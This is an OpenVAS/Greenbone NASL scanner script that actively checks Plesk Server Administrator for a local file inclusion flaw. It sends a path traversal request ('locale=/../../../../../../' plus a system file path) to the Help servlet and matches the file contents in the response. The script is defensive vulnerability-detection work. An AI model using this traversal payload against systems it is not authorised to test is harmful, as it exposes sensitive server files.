Plesk Server Administrator (PSA) LFI Vulnerability - Active Check

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:parallels:parallels_plesk_panel";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100677");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2010-06-14 14:19:59 +0200 (Mon, 14 Jun 2010)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Plesk Server Administrator (PSA) LFI Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_plesk_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 8443);
  script_mandatory_keys("plesk/http/detected");

  script_tag(name:"summary", value:"Plesk Server Administrator (PSA) is prone to a local file
  include (LFI) vulnerability because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain potentially
  sensitive information and execute arbitrary local scripts in the context of the webserver
  process. This may allow the attacker to compromise the application and the underlying computer.
  Other attacks are also possible.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/40813");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit(0);

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit(0);

files = traversal_files();

foreach file( keys( files ) ) {

  url = "/servlet/Help?system_id=pem&book_type=login&help_id=1&locale=/../../../../../../" + files[file] + "/00";

  if( http_vuln_check( port:port, url:url, pattern:file ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );